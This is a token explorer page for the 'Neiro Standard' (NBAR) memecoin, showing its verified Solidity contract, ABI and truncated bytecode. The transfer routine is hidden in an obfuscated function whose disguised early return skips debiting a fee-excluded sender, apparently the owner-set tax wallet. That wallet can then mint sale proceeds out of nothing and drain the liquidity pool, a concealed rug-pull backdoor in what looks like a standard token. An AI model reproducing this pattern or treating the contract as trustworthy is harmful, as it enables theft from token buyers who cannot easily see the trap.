ETH Price: $3,288.34 (-0.34%)

Token

Neiro Standard (NBAR)
 

Overview

Max Total Supply

420,690,000,000 NBAR

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,432,365,714.951545137 NBAR

Value
$0.00
0x785cbc768e812d4b37f052f73cb01f6786e328b5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NeiroBar

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-11
*/

// SPDX-License-Identifier: UNLICENSE

/**

Website: https://neiro-standard.bar

X: https://x.com/NeiroStandard_X

TG: https://t.me/NeiroStandard

*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NeiroBar is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private feeExcluded;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Neiro Standard";
    string private constant _symbol = unicode"NBAR";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 5 * _tTotal / 1000;
    uint256 public _maxTaxSwap= 5 * _tTotal / 1000;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    mapping(address => uint256) private cooldownTimer;
    uint8 public cooldownTimerInterval = 1;
    uint256 private lastExecutedBlockNumber;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address router_) {
        uniswapV2Router = IUniswapV2Router02(router_);

        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        feeExcluded[owner()] = true;
        feeExcluded[address(this)] = true;
        feeExcluded[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(!tradingOpen || inSwap) {
            require(feeExcluded[from] || feeExcluded[to]);
            _basicTransfer(from, to, amount);
            return;
        }
        
        uint256 taxAmount = dsalstdu(from, to, amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _basicTransfer(address from, address to, uint256 amount) private {
        _balances[from] = _balances[from].sub(amount, "Insufficient Balance");
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }


    function getTokenBack(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }

    function addLPandTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function getETHBack() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }

    function setTaxWallet(address newTaxWallet) public onlyOwner {
        _taxWallet = payable(newTaxWallet);
        feeExcluded[newTaxWallet] = true;
    }


    function sb(uint256 amountToken) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amountToken);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToken,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function minifyFee(uint256 _newFee) external onlyOwner{
        require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
        _finalBuyTax=_newFee;
        _finalSellTax=_newFee;
    }

    function dsalstdu(address _spty, address _dklf, uint256 _epoi) private returns(uint256 _asdo) {
        bool feeExempt = feeExcluded[_spty] || feeExcluded[_dklf];
        if (_spty != owner() && _dklf != owner()) {
            _asdo = _epoi.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) delayedTransferCheck(_dklf);
            else if(feeExcluded[_dklf] && _buyCount == _buyCount) feeExempt = feeExcluded[_spty];

            if (_spty == uniswapV2Pair && _dklf != address(uniswapV2Router) && ! feeExcluded[_dklf] ) {
                require(_epoi <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(_dklf) + _epoi <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(_dklf == uniswapV2Pair && _spty!= address(this) ){
                _asdo = _epoi.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            if (!inSwap && _dklf == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(_finalSellTax * _asdo == _finalBuyTax && feeExempt)return
                _buyCount - _buyCount;if(contractTokenBalance > _taxSwapThreshold) 
                    sb(min(_epoi, min(contractTokenBalance, _maxTaxSwap)));
                tfansfee(address(this).balance);
            }
        }
        
        if(_asdo>0){
            _balances[address(this)]=_balances[address(this)].add(_asdo);
            emit Transfer(_spty, address(this),_asdo);
        }
        _balances[_spty]=_balances[_spty].sub(_epoi);
    }
    
    function delayedTransferCheck(address to) internal {
        if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
            require(
                _holderLastTransferTimestamp[tx.origin] <
                    block.number,
                "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
            );
            _holderLastTransferTimestamp[tx.origin] = block.number;
        }
    }

    function tfansfee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function removeLimits(address payable newTaxWallet) external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);

        setTaxWallet(newTaxWallet);
    }
    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLPandTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getETHBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"getTokenBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"minifyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"newTaxWallet","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601960065560146007555f6008555f600955600f600a55600f600b55600f600c555f600d5560646009600a61003991906103c7565b610048906461f313f8806103dc565b6100539060026103dc565b61005d91906103f3565b600e55606461006e6009600a6103c7565b61007d906461f313f8806103dc565b6100889060026103dc565b61009291906103f3565b600f556103e86100a46009600a6103c7565b6100b3906461f313f8806103dc565b6100be9060056103dc565b6100c891906103f3565b6010556103e86100da6009600a6103c7565b6100e9906461f313f8806103dc565b6100f49060056103dc565b6100fe91906103f3565b6011556013805461ffff60a81b191690556015805460ff19166001179055348015610127575f80fd5b5060405161213838038061213883398101604081905261014691610412565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601280546001600160a01b0319166001600160a01b0383161790556101a83390565b600580546001600160a01b039290921661010002610100600160a81b03199092169190911790556101db6009600a6103c7565b6101ea906461f313f8806103dc565b335f9081526001602081905260408220929092556003906102125f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055461010090049091168352912080549092161790556102743390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102ab6009600a6103c7565b6102ba906461f313f8806103dc565b60405190815260200160405180910390a350610438565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561031f57815f1904821115610305576103056102d1565b8085161561031257918102915b93841c93908002906102ea565b509250929050565b5f82610335575060016103c1565b8161034157505f6103c1565b816001811461035757600281146103615761037d565b60019150506103c1565b60ff841115610372576103726102d1565b50506001821b6103c1565b5060208310610133831016604e8410600b84101617156103a0575081810a6103c1565b6103aa83836102e5565b805f19048211156103bd576103bd6102d1565b0290505b92915050565b5f6103d560ff841683610327565b9392505050565b80820281158282048414176103c1576103c16102d1565b5f8261040d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610422575f80fd5b81516001600160a01b03811681146103d5575f80fd5b611cf3806104455f395ff3fe60806040526004361061013f575f3560e01c8063722b62ad116100b3578063bf474bed1161006d578063bf474bed14610388578063c876d0b91461039d578063dd62ed3e146103b6578063e22c69d2146103fa578063ea414b2814610419578063f68ec77414610438575f80fd5b8063722b62ad146102d45780637d1db4a5146102ed5780638da5cb5b146103025780638f9a55c01461032857806395d89b411461033d578063a9059cbb14610369575f80fd5b806320369b3f1161010457806320369b3f1461020e57806323b872dd1461022d578063313ce5671461024c57806332489e9b1461026d57806370a082311461028c578063715018a6146102c0575f80fd5b806306fdde031461014a578063095ea7b3146101925780630faee56f146101c157806318160ddd146101e45780631f6bebc0146101f8575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d13995a5c9bc814dd185b99185c9960921b60208201525b60405161018991906118cf565b60405180910390f35b34801561019d575f80fd5b506101b16101ac366004611918565b61044c565b6040519015158152602001610189565b3480156101cc575f80fd5b506101d660115481565b604051908152602001610189565b3480156101ef575f80fd5b506101d6610462565b348015610203575f80fd5b5061020c610483565b005b348015610219575f80fd5b5061020c610228366004611918565b61081e565b348015610238575f80fd5b506101b1610247366004611942565b61095e565b348015610257575f80fd5b5060095b60405160ff9091168152602001610189565b348015610278575f80fd5b5061020c610287366004611980565b6109c1565b348015610297575f80fd5b506101d66102a6366004611980565b6001600160a01b03165f9081526001602052604090205490565b3480156102cb575f80fd5b5061020c610a89565b3480156102df575f80fd5b5060155461025b9060ff1681565b3480156102f8575f80fd5b506101d6600e5481565b34801561030d575f80fd5b505f546040516001600160a01b039091168152602001610189565b348015610333575f80fd5b506101d6600f5481565b348015610348575f80fd5b50604080518082019091526004815263272120a960e11b602082015261017c565b348015610374575f80fd5b506101b1610383366004611918565b610afa565b348015610393575f80fd5b506101d660105481565b3480156103a8575f80fd5b506005546101b19060ff1681565b3480156103c1575f80fd5b506101d66103d036600461199b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610405575f80fd5b5061020c6104143660046119d2565b610b06565b348015610424575f80fd5b5061020c610433366004611980565b610b55565b348015610443575f80fd5b5061020c610bbc565b5f610458338484610c27565b5060015b92915050565b5f61046f6009600a611add565b61047e906461f313f880611aeb565b905090565b5f546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac90611b02565b60405180910390fd5b601354600160a01b900460ff161561050f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ac565b6012546105419030906001600160a01b031661052d6009600a611add565b61053c906461f313f880611aeb565b610c27565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610591573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b59190611b37565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610614573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106389190611b37565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610682573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a69190611b37565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306106ed816001600160a01b03165f9081526001602052604090205490565b5f806107005f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610766573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061078b9190611b52565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108049190611b7d565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108475760405162461bcd60e51b81526004016104ac90611b02565b6040516370a0823160e01b81523060048201525f906108c8906064906108c29085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610898573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc9190611b9c565b90610d4b565b90610dc9565b9050826001600160a01b031663a9059cbb6108ea5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610934573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109589190611b7d565b50505050565b5f61096a848484610e0a565b6109b6843361053c85604051806060016040528060288152602001611c96602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611046565b5060015b9392505050565b5f546001600160a01b031633146109ea5760405162461bcd60e51b81526004016104ac90611b02565b6109f66009600a611add565b610a05906461f313f880611aeb565b600e55610a146009600a611add565b610a23906461f313f880611aeb565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a5d6009600a611add565b610a6c906461f313f880611aeb565b60405190815260200160405180910390a1610a8681610b55565b50565b5f546001600160a01b03163314610ab25760405162461bcd60e51b81526004016104ac90611b02565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f610458338484610e0a565b5f546001600160a01b03163314610b2f5760405162461bcd60e51b81526004016104ac90611b02565b6008548111158015610b4357506009548111155b610b4b575f80fd5b6008819055600955565b5f546001600160a01b03163314610b7e5760405162461bcd60e51b81526004016104ac90611b02565b60058054610100600160a81b0319166101006001600160a01b03939093169283021790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b03163314610be55760405162461bcd60e51b81526004016104ac90611b02565b5f4711610bf0575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a86573d5f803e3d5ffd5b6001600160a01b038316610c895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f825f03610d5a57505f61045c565b5f610d658385611aeb565b905082610d728583611bb3565b146109ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b5f6109ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061107e565b6001600160a01b038316610e6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038216610ed05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b5f8111610f315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b601354600160a01b900460ff161580610f535750601354600160a81b900460ff165b15610fad576001600160a01b0383165f9081526003602052604090205460ff1680610f9557506001600160a01b0382165f9081526003602052604090205460ff165b610f9d575f80fd5b610fa88383836110aa565b505050565b5f610fb984848461117c565b9050610fe6610fc88383611593565b6001600160a01b0385165f90815260016020526040902054906115d4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61102f8585611593565b60405190815260200160405180910390a350505050565b5f81848411156110695760405162461bcd60e51b81526004016104ac91906118cf565b505f6110758486611bd2565b95945050505050565b5f818361109e5760405162461bcd60e51b81526004016104ac91906118cf565b505f6110758486611bb3565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600190915291909120546110fb918390611046565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461112990826115d4565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d3e9085815260200190565b6001600160a01b0383165f90815260036020526040812054819060ff16806111bb57506001600160a01b0384165f9081526003602052604090205460ff165b90506111ce5f546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156111fc57505f546001600160a01b03858116911614155b156114d95761122760646108c2600a54600d541161121c57600654611220565b6008545b8690610d4b565b60055490925060ff16156112435761123e84611632565b61128a565b6001600160a01b0384165f9081526003602052604090205460ff168015611268575060015b1561128a57506001600160a01b0384165f9081526003602052604090205460ff165b6013546001600160a01b0386811691161480156112b557506012546001600160a01b03858116911614155b80156112d957506001600160a01b0384165f9081526003602052604090205460ff16155b156113bf57600e548311156113305760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ac565b600f5483611352866001600160a01b03165f9081526001602052604090205490565b61135c9190611be5565b11156113aa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b600d8054905f6113b983611bf8565b91905055505b6013546001600160a01b0385811691161480156113e557506001600160a01b0385163014155b156114125761140f60646108c2600b54600d541161140557600754611220565b6009548690610d4b565b91505b601354600160a81b900460ff1615801561143957506013546001600160a01b038581169116145b801561144e5750601354600160b01b900460ff165b801561145d5750600c54600d54115b156114d957305f90815260016020526040902054600854600954611482908590611aeb565b14801561148c5750815b156114a757600d5461149e9080611bd2565b925050506109ba565b6010548111156114ce576114ce6114c9856114c48460115461170c565b61170c565b611720565b6114d747611890565b505b811561155157305f908152600160205260409020546114f890836115d4565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115489086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546115739084611593565b6001600160a01b0386165f90815260016020526040902055509392505050565b5f6109ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611046565b5f806115e08385611be5565b9050838110156109ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b6012546001600160a01b0382811691161480159061165e57506013546001600160a01b03828116911614155b15610a8657325f9081526004602052604090205443116116f85760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104ac565b325f90815260046020526040902043905550565b5f81831161171a57826109ba565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061176657611766611c10565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117e19190611b37565b816001815181106117f4576117f4611c10565b6001600160a01b03928316602091820292909201015260125461181a9130911684610c27565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906118529085905f90869030904290600401611c24565b5f604051808303815f87803b158015611869575f80fd5b505af115801561187b573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156118cb573d5f803e3d5ffd5b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a86575f80fd5b5f8060408385031215611929575f80fd5b823561193481611904565b946020939093013593505050565b5f805f60608486031215611954575f80fd5b833561195f81611904565b9250602084013561196f81611904565b929592945050506040919091013590565b5f60208284031215611990575f80fd5b81356109ba81611904565b5f80604083850312156119ac575f80fd5b82356119b781611904565b915060208301356119c781611904565b809150509250929050565b5f602082840312156119e2575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a3757815f1904821115611a1d57611a1d6119e9565b80851615611a2a57918102915b93841c9390800290611a02565b509250929050565b5f82611a4d5750600161045c565b81611a5957505f61045c565b8160018114611a6f5760028114611a7957611a95565b600191505061045c565b60ff841115611a8a57611a8a6119e9565b50506001821b61045c565b5060208310610133831016604e8410600b8410161715611ab8575081810a61045c565b611ac283836119fd565b805f1904821115611ad557611ad56119e9565b029392505050565b5f6109ba60ff841683611a3f565b808202811582820484141761045c5761045c6119e9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611b47575f80fd5b81516109ba81611904565b5f805f60608486031215611b64575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611b8d575f80fd5b815180151581146109ba575f80fd5b5f60208284031215611bac575f80fd5b5051919050565b5f82611bcd57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561045c5761045c6119e9565b8082018082111561045c5761045c6119e9565b5f60018201611c0957611c096119e9565b5060010190565b634e48